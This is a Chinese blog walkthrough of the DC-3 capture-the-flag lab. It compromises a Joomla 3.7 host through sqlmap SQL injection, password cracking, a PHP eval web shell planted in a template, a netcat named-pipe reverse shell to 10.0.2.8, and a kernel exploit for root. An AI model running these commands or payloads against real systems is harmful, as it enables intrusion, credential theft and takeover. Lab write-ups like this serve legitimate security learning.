首页 > 其他分享 >dc3

dc3

时间:2023-04-16 16:35:56浏览次数:24  
标签:tmp 10.0 -- 我们 漏洞 php dc3

DC3(难)

一.主机发现

image-20230416161254890

二.端口扫描和探测

1.我们发现开通了80端口

image-20230416161316720

2.发现提示

image-20230416161330280

3.访问IP地址得到登录页

image-20230416161344289

4.扫描网站看是否由隐藏目录

dirsearch -u http://10.0.2.19/ 

image-20230416161359547

5.访问/README.txt和/administrator

在/readme.txt中发现了了是cms结构joomla,我们了解一下joomla

image-20230416161413758

image-20230416161429347

我们在administrator发现了一个登录页面应该是后台登录

image-20230416161457737

三.漏洞利用

1.我们用工具searchsploit 来搜索

1.searchsploit

Searchsploit 是一个开源工具,用于在漏洞数据库中搜索和定位漏洞利用程序。它由 Offensive Security 开发,旨在帮助安全研究人员和渗透测试人员找到漏洞利用程序以及其他安全工具和资源。Searchsploit 可以在本地或远程漏洞数据库中搜索漏洞利用程序,支持各种不同的漏洞数据库格式。该工具还可以通过 Metasploit 框架的接口执行漏洞利用程序,以测试目标系统的安全性。

2.搜索joomla版本3.7的漏洞

image-20230416161507972

3.我们来查看漏洞信息

searchsploit -x  php/webapps/42033.txt

image-20230416161521024

说明我们有sql漏洞而且给出了我们如何扫描

1.爆库

sqlmap -u "http://10.0.2.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20230416161533837

2.爆表

sqlmap -u "http://10.0.2.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  --tables  -p list[fullordering]

爆出许多表我们用user表

image-20230416161554202

3.爆字段

sqlmap -u "http://10.0.2.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' --columns  -p list[fullordering]

image-20230416161607726

4.我们爆username,和password

sqlmap -u "http://10.0.2.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' -C 'username,password' --dump  -p list[fullordering]

image-20230416161617838

得到密码不过密码是hash加密

5.john爆破

image-20230416161629254

6.登陆进去

image-20230416161641569

这个时候我们想起我们扫描的目录

image-20230416161655446

我们找到了这个目录

image-20230416161707543

四.文件上传

1.我们在beez3的下面找到了可以上传的地方

image-20230416161722152

我们在html的目录下写入text.php

2.在text.php中加入木马文件

text.php

echo "a";
<?php @eval($_POST['a'])?>

3.访问木马文件

http://10.0.2.19/templates/beez3/html/text.php

显示

image-20230416161738982

显示出来这个说明我们的木马文件写入进去了

成功写入蚁剑

image-20230416161749816

4.终端中执行命令

image-20230416161802930

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.8 4444 >/tmp/f 
命令解释 rm /tmp/f删除文件
mkfifo /tmp/f
FIFO 是一种特殊类型的文件,用于在不同的进程之间进行通信。它的工作原理类似于队列,数据按照先进先出的顺序传输。
通过使用命名管道,可以实现多个进程之间的数据传输。一个进程可以将数据写入命名管道,另一个进程可以从命名管道读取这些数据。这种通信方式可以用于各种目的,例如在多个程序之间共享数据、进程间通信等。
cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.8 4444 >/tmp/f 
它将创建一个名为 /tmp/f 的文件,将该文件中的内容通过一个管道传递给 /bin/bash 命令,使得 /bin/bash 命令可以以交互式 Shell 的形式运行。然后,命令将通过网络连接(使用 nc 命令)将 /bin/bash 命令的输出重定向到 IP 地址为 10.0.2.8,端口为 4444 的远程主机上。同时,命令将 /bin/bash命令的输入重定向回 /tmp/f 文件中

简单来说就是我们通过用nc反弹到主机上将/bin/bash输入上

5.nc反弹

反弹成功

image-20230416161812802

我们要得到root权限

五.提权

1.我们sudo -l看是否有可以用的

image-20230416161823242

2.我们查看内核

image-20230416161834473ng)

我们看到内核版本

看luinx版本

image-20230416161846306

3.searchsploit 查询版本漏洞

image-20230416161901726

我们用searchsploit -x linux/local/39772.txt来查看在最后面有下载地址

image-20230416161913001

4.我们在本地开启服务

我用我的kali机下载到了本地的桌面上

我们在本地开启服务

image-20230416161923438

在浏览器访问一下我们发现了访问地址

image-20230416161934782

5.我们在反弹的机上使用

image-20230416161952037

unzip 39772.zip
cd 39772
ls
tar xvf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit

image-20230416162010935

image-20230416162024046

6.对文件complie.sh加权限

image-20230416162034703

编译文件

image-20230416162044986

7.查看文件

image-20230416162054684

8.提取文件

image-20230416162105337

得到root权限

9.进入交互页面

image-20230416162115026

10.得到root权限并得到flag

在root目录下找到flag文件the-flag.txt

image-20230416162127313

六.小结

这个靶场了还是有点难,这个漏洞中我们发现cms漏洞joomla然后在漏洞中找到了sql漏洞我们来爆出密码和用户名

登录进去我们找到了文件上传的漏洞,在蚁剑中得到反弹到kali机上

我们在kali机上查看内核版本

我们在查找版本漏洞,我们进行内核提权从而得到root权限,有好多没见过的知识点还是感觉难

标签:tmp,10.0,--,我们,漏洞,php,dc3
From: https://www.cnblogs.com/jxdgx/p/17323479.html

相关文章

  • 学习笔记-DC3-WalkThrough
    DC3-WalkThrough免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.靶机地址https://www.vulnhub.com/e......